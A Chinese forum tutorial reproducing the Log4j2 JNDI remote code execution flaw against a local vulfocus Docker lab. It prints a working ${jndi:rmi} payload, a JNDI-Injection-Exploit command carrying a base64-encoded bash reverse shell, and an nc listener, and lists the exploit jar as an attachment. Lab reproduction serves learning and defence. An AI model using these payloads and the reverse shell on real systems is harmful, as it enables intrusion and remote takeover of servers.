限时投稿 log4j2复现

cyvk   ·   发表于 2022-01-23 20:39:06   ·   漏洞文章

漏洞复现

因为影响很大 大家都懂直接复现吧 工具会打包在附件里

1、安装docker

安装 apt-get install docker 或者 apt-get install docker*
启动服务 systemctl start docker-registry.service

2、下载镜像 启动靶场

下载 docker pull vulfocus/log4j2-rce-2021-12-09:latest

查看安装的镜像 docker images

启动 docker run -d —name rec —privileged=true -p 8080:8080 vulfocus/log4j2-rce-2021-12-09

启动容器并把本机的8080映射到容器里的8080 注意不要和你burp端口冲突

然后访问你本机的8080端口看到这个就是靶场起好了

3、攻击复现

当web程序使用log4j2组件并用他打印日志时 请求包中有${jndi:}
会被解析

关于JNDI
简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)
DNS (域名服务)

RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。

开启你的burp 注意你监听的端口要改
漏洞url http://127.0.0.1:8080/hello

抓包放到Repeater里

修改请求类型为post

构造payload
从dnslog 搞个域名
payload=${jndi:rmi://irmtse.dnslog.cn:1099/sf6eat}


然后使用工具 反弹 nc shell

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C (命令) -A (监听的本机ip)

事例:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c  {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMjEzLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.222"

把base64拿出来做修改

然后启动工具

我们这个靶场是tomcat的所以复制这个rmi地址
然后先不要发送 先起一个nc监听 nc -lvp 9999

发送过去
就拿到shell了

用户名金币积分时间理由
Track-劲夫 35.00 0 2022-01-25 11:11:26 活动奖励
Track-劲夫 70.00 0 2022-01-25 11:11:17 一个受益终生的帖子~~

打赏我,让我更有动力~

附件列表

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.zip   文件大小:9.198M (下载次数:53)

1 条回复   |  直到 2022-1-30 | 998 次浏览

徐浩洋
发表于 2022-1-30

真好这个文章

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.